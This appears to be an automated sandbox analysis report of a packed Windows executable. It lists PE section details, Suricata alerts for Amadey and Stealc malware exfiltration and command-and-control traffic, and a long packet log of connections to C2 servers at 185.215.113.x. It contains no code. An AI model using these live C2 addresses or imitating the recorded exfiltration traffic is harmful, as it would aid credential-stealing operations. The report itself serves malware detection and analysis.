Entrypoint Preview

Instruction
jmp 00007F142CC28B9Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4bf498	0x10	mitseuwh
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4bf448	0x18	mitseuwh
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2dc00	7ce6b0b2b41c036d895e34827e15b33d	False	0.9991515112704918	data	7.972886054647514	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	0354dd355d60c2226233afe2cb09451b	False	0.58203125	data	4.5153973581220335	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2b0000	0x200	73852cadc7d719860142372a7cd4994f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mitseuwh	0x31b000	0x1a5000	0x1a4800	29326275db13e755d014acde06ab8531	False	0.994181847317182	data	7.95339242272568	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dsajnmtd	0x4c0000	0x1000	0x400	e4a0972386171dcdbada14ec13de0b70	False	0.8076171875	data	6.171069109539044	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4c1000	0x3000	0x2200	436ddc8499d50566ad7a910a0b407dc8	False	0.06192555147058824	DOS executable (COM)	0.6918479305848185	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4bf4a8	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-09-01T01:30:13.566871+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	49719	80	192.168.2.5	185.215.113.19
2024-09-01T01:30:07.313301+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	49714	80	192.168.2.5	185.215.113.19
2024-09-01T01:30:09.719727+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	49717	80	192.168.2.5	185.215.113.19
2024-09-01T01:30:09.792808+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49716	80	192.168.2.5	185.215.113.100
2024-09-01T01:30:18.119044+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49733	80	192.168.2.5	185.215.113.100
2024-09-01T01:30:04.194049+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	49713	80	192.168.2.5	185.215.113.16
2024-09-01T01:30:10.492991+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	49718	80	192.168.2.5	185.215.113.16
2024-09-01T01:30:06.565470+0200	TCP	2856122	ETPRO MALWARE Amadey CnC Response M1	1	80	49712	185.215.113.19	192.168.2.5
2024-09-01T01:30:03.165044+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	49712	80	192.168.2.5	185.215.113.19

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 1, 2024 01:28:52.036125898 CEST	49674	443	192.168.2.5	23.1.237.91
Sep 1, 2024 01:28:52.036125898 CEST	49675	443	192.168.2.5	23.1.237.91
Sep 1, 2024 01:28:52.145514965 CEST	49673	443	192.168.2.5	23.1.237.91
Sep 1, 2024 01:29:01.645404100 CEST	49675	443	192.168.2.5	23.1.237.91
Sep 1, 2024 01:29:01.645404100 CEST	49674	443	192.168.2.5	23.1.237.91
Sep 1, 2024 01:29:01.754767895 CEST	49673	443	192.168.2.5	23.1.237.91
Sep 1, 2024 01:29:03.595074892 CEST	443	49703	23.1.237.91	192.168.2.5
Sep 1, 2024 01:29:03.595159054 CEST	49703	443	192.168.2.5	23.1.237.91
Sep 1, 2024 01:29:12.146151066 CEST	49704	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:12.146199942 CEST	443	49704	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:12.146271944 CEST	49704	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:12.147983074 CEST	49704	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:12.147993088 CEST	443	49704	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:12.731713057 CEST	443	49704	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:12.731792927 CEST	49704	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:12.734692097 CEST	49704	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:12.734704971 CEST	443	49704	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:12.734965086 CEST	443	49704	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:12.785995007 CEST	49704	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:13.279222012 CEST	49704	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:13.320512056 CEST	443	49704	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:13.470253944 CEST	443	49704	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:13.470279932 CEST	443	49704	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:13.470288038 CEST	443	49704	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:13.470300913 CEST	443	49704	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:13.470345020 CEST	443	49704	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:13.470516920 CEST	49704	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:13.470541000 CEST	443	49704	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:13.470602989 CEST	49704	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:13.470659018 CEST	49704	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:13.470689058 CEST	443	49704	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:13.470768929 CEST	443	49704	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:13.470784903 CEST	49704	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:13.470850945 CEST	49704	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:13.962402105 CEST	49704	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:13.962421894 CEST	443	49704	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:13.962497950 CEST	49704	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:13.962502956 CEST	443	49704	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:50.372602940 CEST	49711	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:50.372649908 CEST	443	49711	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:50.372708082 CEST	49711	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:50.373094082 CEST	49711	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:50.373106003 CEST	443	49711	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:50.962229967 CEST	443	49711	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:50.962321997 CEST	49711	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:51.010519028 CEST	49711	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:51.010546923 CEST	443	49711	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:51.010838032 CEST	443	49711	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:51.030534029 CEST	49711	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:51.076498032 CEST	443	49711	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:51.280651093 CEST	443	49711	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:51.280675888 CEST	443	49711	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:51.280690908 CEST	443	49711	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:51.280760050 CEST	49711	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:51.280777931 CEST	443	49711	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:51.280831099 CEST	49711	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:51.281814098 CEST	443	49711	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:51.281858921 CEST	443	49711	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:51.281879902 CEST	49711	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:51.281887054 CEST	443	49711	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:51.281913042 CEST	49711	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:51.281927109 CEST	49711	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:51.282346010 CEST	443	49711	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:51.282391071 CEST	49711	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:51.282396078 CEST	443	49711	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:51.282443047 CEST	49711	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:51.285185099 CEST	49711	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:51.285202026 CEST	443	49711	20.12.23.50	192.168.2.5
Sep 1, 2024 01:29:51.285223961 CEST	49711	443	192.168.2.5	20.12.23.50
Sep 1, 2024 01:29:51.285229921 CEST	443	49711	20.12.23.50	192.168.2.5
Sep 1, 2024 01:30:02.416120052 CEST	49712	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:02.421130896 CEST	80	49712	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:02.421219110 CEST	49712	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:02.421595097 CEST	49712	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:02.426412106 CEST	80	49712	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:03.164876938 CEST	80	49712	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:03.165044069 CEST	49712	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:03.166959047 CEST	49712	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:03.171916008 CEST	80	49712	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:03.420464039 CEST	80	49712	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:03.420586109 CEST	49712	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:03.424755096 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:03.429557085 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:03.429646969 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:03.429749966 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:03.434473038 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.193803072 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.193825006 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.193907976 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.193917990 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.193928003 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.193939924 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.193948984 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.193959951 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.193968058 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.193979025 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.194048882 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.194048882 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.194048882 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.194048882 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.194809914 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.198893070 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.198903084 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.198914051 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.198925018 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.198949099 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.198977947 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.199161053 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.199208021 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.341882944 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.341901064 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.341919899 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.341932058 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.341943026 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.341957092 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.342093945 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.342093945 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.342386007 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.342422009 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.342432976 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.342434883 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.342444897 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.342466116 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.342489004 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.342890024 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.342946053 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.342992067 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.343002081 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.343014002 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.343035936 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.343064070 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.343425035 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.343436003 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.343446970 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.343457937 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.343467951 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.343476057 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.343478918 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.343506098 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.343524933 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.344734907 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.344748020 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.344779015 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.344789982 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.344790936 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.344818115 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.344842911 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.345360041 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.345407009 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.349255085 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.349271059 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.349330902 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.489847898 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.489883900 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.489895105 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.489965916 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.490006924 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.490024090 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.490034103 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.490046024 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.490058899 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.490067005 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.490087032 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.490118027 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.490478039 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.490489006 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.490500927 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.490525961 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.490556955 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.490628004 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.490638018 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.490648985 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.490669966 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.490695953 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.490804911 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.490869999 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.491070032 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.491080046 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.491091013 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.491115093 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.491141081 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.491225004 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.491234064 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.491244078 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.491255045 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.491266966 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.491292953 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.491317034 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.491355896 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.491530895 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.491581917 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.491581917 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.491592884 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.491612911 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.491631985 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.491631985 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.491650105 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.491662025 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.491671085 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.491671085 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.491682053 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.491682053 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.491703987 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.491731882 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.492574930 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.492587090 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.492599010 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.492608070 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.492629051 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.492655039 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.492728949 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.492738962 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.492748976 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.492758989 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.492774010 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.492774010 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.492794991 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.492814064 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.493340015 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.493350983 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.493365049 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.493387938 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.493388891 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.493396997 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.493407011 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.493419886 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.493428946 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.493439913 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.493443966 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.493455887 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.493463039 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.493490934 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.494198084 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.494240046 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.637830973 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.637849092 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.637861967 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.637904882 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.637933016 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.638087034 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638098955 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638128996 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.638144970 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.638262987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638274908 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638284922 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638293982 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638304949 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638309956 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.638314962 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638326883 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638341904 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.638361931 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.638426065 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638436079 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638446093 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638456106 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638464928 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638473034 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.638488054 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.638500929 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.638607025 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638648987 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.638689041 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638699055 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638709068 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638717890 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638726950 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.638736963 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.638771057 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.639111996 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.639122009 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.639132023 CEST	80	49713	185.215.113.16	192.168.2.5
